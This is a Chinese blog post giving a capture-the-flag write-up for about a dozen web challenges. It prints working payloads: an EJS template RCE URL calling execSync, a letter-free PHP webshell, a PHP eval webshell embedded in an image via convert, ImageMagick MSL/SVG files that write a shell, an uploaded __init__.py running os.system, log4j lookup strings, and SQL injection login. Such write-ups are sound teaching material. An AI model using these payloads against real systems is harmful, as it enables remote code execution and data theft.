关于 DreamCat

主题名称:DreamCat | 版本:3.0.240224

主题开发:HanFengA7 | CornWorld

Designed by HanFengA7 Power by Typecho

Copyright © 2015-2024 by LychApe All rights reserved!

menu
refresh

某次WriteUp

作者: ciaoℒy

时间:

Surfer

为计分器dom对象添加断点, 当该dom的内容发生变化时将进入js的调试断点. 经调试, 在下述代码处可获取全局状态对象:

image-20231027103029953

修改分数, 即可直接通关:

$e.data.game.distance.y = 1145141919800

image-20231027103236239

同时, 在文件surf.bundle.js中搜索关键字flag可以得到以下代码, 发现是一处游戏"秘籍":

image-20231027103418273

在游戏中依次按下按键IWANTFLAG([73, 87, 65, 78, 84, 70, 76, 65, 71]), 可以得到以下内容:

image-20231027103522541

解码得到Hell0Pixel

image-20231027092027077

根据通关后的SVG的提示, 使用openssl进行解密, 得到flag:

echo "IBzRq4skydTTpG2Mi/DIFg86iLQCSRv6Lyk+r8aZWlQwKCF3W7yoLhDtMioJHHBN" |openssl.exe enc -d -aes-128-ecb -base64 -K 48656c6c30506978656c
# hex string is too short, padding with zero bytes to length
# flag{a425e172-cb19-4b48-95ee-0098b1f5aa56}

my blog

根据网页源代码的提示访问/s3cret., 使用{{1+1}}发现存在SSTI

image-20231027090240554

直接使用{{config}}可以得到密钥:

image-20231027104110882

解码token可以得到身份校验字符串: {'user': 'guest'}. 伪造admin身份, 得到flag:

image-20231027104343825

image-20231027104432943

backup

存在robots.txt, 可以获取sql数据库备份文件

image-20231027091104123

打开文件找到账号和密码, 登录即可获得flag:

image-20231027104613920

image-20231027105100422

ezjava

使用口令admin:admin即可登录, 登录后提示是Shiro.

image-20231027091258256

搜索Shiro相关漏洞, 发现如下内容:

image-20231027104824440

打开漏洞利用工具, 使用文件中提供的key逐个尝试, 发现第一个key就有效. 执行命令得到flag:

image-20231027105036064

weblogic

根据题目提示, fscan工具探测其存在weblogic反序列化漏洞

image-20231027093527215

搜索漏洞利用工具:

image-20231027105309087

脚本很长就不贴了. 执行命令可得到flag:

image-20231027105347304

模板小王子

在首页注释中发现存在文件读取, 从响应头中看出是php的站, 补充.php后缀读取文件:

image-20231027094216267

读取index.phptemplate.html代码并将base64转换为文本文件:

image-20231027094400594

在注册页面注册用户admin:admin, 登录后生成模板/sandbox/21232f297a57a5a743894a0e4a801fc3.php. 同样读取该模板源代码.

//index.php
    if(isset($_POST['punctuation'])){
        if (strlen($_POST['user']) > 6){
            echo("<script>alert('Username is too long!');</script>");
        }
        elseif(strlen($_POST['website']) > 25){
            echo("<script>alert('Website is too long!');</script>");
        }
        elseif(strlen($_POST['punctuation']) > 120){
            echo("<script>alert('Punctuation is too long!');</script>");
        }
        else{
            if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
                if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
                    $_POST['punctuation'] = preg_replace("/[a-zA-Z2-9!'@#%^&:{}\-<\?>\"|`~\\\\]/"," ",$_POST['punctuation']);
                    $template = file_get_contents('./template.html');
                    $content = str_replace("__USER__", $_POST['user'], $template);
                    $content = str_replace("__PASS__", $hash_pass, $content);
                    $content = str_replace("__WEBSITE__", $_POST['website'], $content);
                    $content = str_replace("__PUNCH__", $_POST['punctuation'], $content);
          $content2 = str_replace("__USER__", $_POST['user'], $template);
                    $content2 = str_replace("__PASS__", $hash_pass, $content);
                    $content2 = str_replace("__WEBSITE__", $_POST['website'], $content);
                    $content2 = str_replace("__PUNCH__", $_POST['punctuation'], $content);
                    file_put_contents('sandbox/'.$hash_user.'.php', $content);
                    echo("<script>alert('Successed!');</script>");
                }

上述代码中对$user/$website$punctuation均做了相关过滤. 其中$punctuation可使用"无字母数字构造webshell":

image-20231027110258007

image-20231027111123241

由于__PUNCTUATION__并不在<?php中, 所以需要设法将HTML标签跳过. 经测试可使用"块注释"的方式实现. 构造如下payload:

user=a/*&website=adm&pass=adm&punctuation=*/);$_=(0/0)._;$_=$_[0];$_1=++$_;$__=_;$__.=++$_;$__.=$_1;$_++;$_++;$__.=++$_;$__.=++$_;$$__[0]($$__[1]);/*

效果如下所示:

image-20231027150836745

使用hackbar工具获得flag:

image-20231027111204813

node-ssti

根据网页源代码的提示, 访问/page?id=123, 页面是使用ejs引擎渲染的:

image-20231027111730037

旧版本的ejs引擎的outputFunctionName函数对字符过滤不严导致存在RCE漏洞, 查找相关资料:

image-20231027111931916

该payload可成功利用漏洞. 构造如下payload获取flag:

http://192.168.100.19:48483/page?id=AAAA&settings[view%20options][outputFunctionName]=x;return%20global.process.mainModule.require(%27child_process%27).execSync(%27cat%20/f1zzzag%27).toString();x

ezphp

分析源代码, 可知该程序会将给定path的所有文件大小列出:

image-20231027112226399

在kali虚拟机中执行ls -l /, 可以推断出大小为4096的文件是目录. 获取当前目录情况如下:

4096
4096
58
345
443

在PHP中, 使用glob://伪协议可以获取文件的长度.

image-20231027113151156

根据dirsearch的扫描结果, 存在如下文件:

image-20231027113058111

分别使用glob://伪协议读取flag.phpindex.php, 得到其文件大小为:

flag.php: 58
index.php: 345

则尝试猜解长度为443的文件名称, 编写脚本如下 :

$url = "http://192.168.100.19:47283/?path=glob://"
while($url -notlike "*.php") {
    foreach($c in 33..126) {
        if (([char]$c -eq "*") -or [char]$c -eq "?") {
            continue;
        }
        $res = Invoke-WebRequest -Uri "$($url)$([char]$c)*";
        if($res.Content -like "*443*") {
            $url = "$($url)$([char]$c)"
            echo $url
            break;
        }
    }
}

echo $Url;

得到该文件的名称

image-20231027113423816

访问即可获得源码:

<?php
error_reporting(0);
highlight_file(__FILE__);
$realflag=file_get_contents("flag.php");
$func = create_function("","die('$realflag');");
echo $func;
if(isset($_GET['s'])){
    if(file_get_contents($_GET['s']) === "please_give_me_flag"){
        if($_GET['n']<=127){
            die("No no no!");
        }
        elseif (chr($_GET['n'])==='y'){
            $_GET["p"]();
        }
        else{
            die("???");
        }
    }
}

其中s可使用data://伪协议匹配, n则可使用0x01<<8 | (char)'y'. p则直接使用$func即可. 构造payload如下:

image-20231027113709148

http://192.168.100.19:47283/you_find_this.php?n=633&s=data://text/plain;base64,cGxlYXNlX2dpdmVfbWVfZmxhZw==&p=%00lambda_1

得到flag:

image-20231027113654364

flask is yammy

存在文件读取后门, 根据题目名称和响应头判断是python程序, 尝试读取app.py

#http://192.168.100.19:47684/include?path=app.py
from include import include_bp
from upload import upload_bp    #upload.py
from saying import saying_bp   #sayings.py

app = Flask(__name__, static_url_path='', static_folder='templates', template_folder='templates')

app.register_blueprint(include_bp)
app.register_blueprint(upload_bp)
app.register_blueprint(saying_bp)

根据app.py读取upload.pysaying.py的源码. 直接读取不成功, 猜测可能是使用了包, 分别读取upload/__init__.pysaying/__init__.py, 最终确定源码文件为: upload/upload.py | saying/saying.py | include/include.py

读取源码如下:

# upload.py
@upload_bp.route('/upload', methods=['POST'])
def Upload():
    try:
        file = request.files.get('image-file')
        fileName = file.filename.replace('..', '')
        filePath = os.path.join("static/upload/", fileName)
        if filePath.endswith('.yaml'):
            filePath = filePath[:-5] + '.txt'

        file.save(filePath)
        return {
            'success': 1,
            'message': '上传成功!',
            'url': "/" + filePath
        }
    except Exception as e:
        return {
            'success': 0,
            'message': '上传失败'
        }

 #saying.py
def waf(data):
    if re.search(r'apply|process|eval|os|tuple|popen|frozenset|bytes|type|EVAL|\(|\)', str(data), re.M | re.I):
        return False
    else:
        return True

@saying_bp.route('/saying')
def Saying():
    if request.args.get('path'):
        file = request.args.get('path').replace('../', 'hack').replace('..\\', 'hack')
        try:
            with open(file, 'rb') as f:
                with app.app_context():
                    f = f.read()
                    if waf(f):
                        print(yaml.load(f, Loader=Loader))

                        try:
                            # some code that may raise an exception
                            return "生存或者死亡你已经做出了决策(我的意思是提交flag或者重开环境)"
                        except Exception as e:
                            print(f"An error occurred: {e}")
                    # print the error message
                    else:
                        return render_template('sayings.html', yaml='你说得不对')
        except Exception as e:
            return render_template('sayings.html', yaml='你懂的:'+str(e))
    else:

        with open('view/haha.yaml', 'r', encoding='utf-8') as f:
            sayings = yaml.load(f, Loader=Loader)
            saying = random.choice(sayings)
            return render_template('sayings.html', yaml=saying)

#include.py
@include_bp.route('/include')
def include():
    if request.args.get('path'):
        path = request.args.get('path').replace('../', '')
        if os.path.exists(path):
            return send_file(path)
    else:
        return "??????????"

根据上述代码, 既然可以上传任意文件到static/upload下, 则可利用__init__.py的特性, 将该目录变为python的包. 之后设法impor即可执行代码.

构造请求如下, 分别上传__init__.pytest.yml(yaml被过滤了, 但是yml没有, 这里使用yml绕过过滤)

------WebKitFormBoundaryD22AnWPpBSBIDlGL
Content-Disposition: form-data; name="image-file"; filename="__init__.py"
Content-Type: text/plain

import os;
os.system("ls / >> result.txt");
os.system("cat /fl* >> result.txt");

------WebKitFormBoundaryD22AnWPpBSBIDlGL--

------WebKitFormBoundaryD22AnWPpBSBIDlGL
Content-Disposition: form-data; name="image-file"; filename="test.yml"
Content-Type: text/plain

!!python/module:static.upload

------WebKitFormBoundaryD22AnWPpBSBIDlGL--

使用payload/saying?path=static/upload/test.yml执行命令, 之后读取结果即可:

image-20231027115802646

gallery

根据提示可以获取源码:

http://192.168.100.19:48844/?action=source

上传的图片会使用convert命令处理, 需准备图片马:

convert -size 100x100 -comment '<?php eval($_REQUEST["cmd"]); ?>' real-pic.png real_pic_shell.png

同时根据源码可以推断, 可以利用svg进行xxe, 以执行代码或包含文件. 然而不知道该包含哪个文件, 只能rce了, 试了expect不支持, phar协议也不能用, 想利用PhotoUpload反序列化也是够呛(escapeshellcmd()函数绕不过去)

可以用SVG外联图片的方式读写文件, 上传svg并写马, 最终得到flag:

image-20231027124044988

最终用到的payload如下:

<?xml version="1.0" encoding="UTF-8" ?>
<!-- <svg> -->
<image>
  <read filename="/var/www/html/upload/d1e46637c006eebb38cfcb3ed008d6fa/fa7e2ac98d8a777008824844acf3e881.png" />
  <write filename="/var/www/html/upload/shell_huihui.php" />
  <svg width="120px" height="120px">
    <image href="/var/www/html/upload/d1e46637c006eebb38cfcb3ed008d6fa/fa7e2ac98d8a777008824844acf3e881.png" />
  </svg>
</image>

<?xml version="1.0" encoding="UTF-8"?>
<svg width="120px" height="120px">
  <image width="120" height="120" href="msl:/var/www/html/upload/d1e46637c006eebb38cfcb3ed008d6fa/6ae6c290ba81f95de651c4670449e69b.svg" />
</svg>

upload

上传一句话木马, 使用蚁剑连接后可以在config.php中得到redis服务器的连接配置, 使用蚁剑连接redis服务器(需要装插件)即可获得flag:

image-20231027132941101

aibot

整个网页没有任何可利用的提示, 打开浏览器开发者工具的"源"选项卡, 一个一个的看. 发现/css/style.css存在猫腻

image-20231027142857575

下载之后是jar包, 用jadx打开, 主函数如下:

package bot;

/* loaded from: bot.jar:bot/App.class */
public class App {
    public static Logger LOGGER = LogManager.getLogger((Class<?>) App.class);

    public static void main(String[] args) {
        String flag = System.getenv("FLAG");
        if (flag == null) {
            LOGGER.error("{}", "flag unknown");
        }
        LOGGER.info("msg: {}", (Object[]) args);
        String cmd = System.getProperty("cmd");
        if (cmd.equals("help")) {
            doHelp();
        } else if (cmd.startsWith("/")) {
            doCommand(cmd.substring(1), args);
        } else {
            doChat(cmd);
        }
    }
// 省略了一些代码, 因为我没有用上它们
    private static void doHelp() {
        System.out.println("命令应该以 / 开始,例如 /help");
        System.out.println("目前命令列表:[help, repeat, time, wc]");
    }

    private static void doChat(String text) {
        System.out.println(text + "吗?");
    }
}

分析上述代码, FLAG是以环境变量的方式读出的, 那么可以设法读取环境变量即可. 然而题目给出的程序里并没有读取环境变量的代码, 看来看去也就只有log4j库可以一试了. 在电脑上搜了几个漏洞利用工具, 都失效了(基本上版本都不匹配). 在Jadx中打开该库, 试试逆向分析一下.

根据著名的log4j ldap rce漏洞的payload来分析, log4j的格式化字符串格式是: ${jndi:ldap://xxx.xxx.xxx.xxx:1389/Basic/TomcatEcho}

其中ldap是通信协议, 因为这里需要获取本地环境变量, 应该更换成${Env:FLAG}(说实话, 其实我也不知道Java是不是这样的, 反正C#是这样的).

则可能的payload为: ${jndi:${ENV:FLAG}}(试了, 不行)

继续在jadx中寻找代码jndi, 看在这里的jndi到底代表什么. 发现此处的jndi应该是对应的某种LookUp抽象类的实现. 既然jndi不行, 那就逐个尝试:

image-20231027144451837

最终发现${Java:${ENV:FLAG}}可以用, 得到flag:

image-20231027144818577

(感觉${Environment:$FLAG}应该也可以, 但是不知道为啥读不出来)😥

auth

存在sql注入, 使用用户名admin'加任意密码即可登录, 登录后修改cookie中的用户名为admin即可得到flag


#本文链接:https://blog.chaol.top/archives/78.html
#本文采用 CC BY-NC-SA 4.0 协议进行许可
#如无特别声明,该文章均为 ciaoℒy 原创,转载请遵循 署名-非商业性使用 4.0 国际(CC BY-NC 4.0)协议,即转载请注明文章来源。
#最后编辑时间为: 2023 年 10 月 28 日
WriteUp
none

create 添加新评论


account_circle
email
language
textsms



加我的QQ
加我的微博
加我的支付宝
加我的微信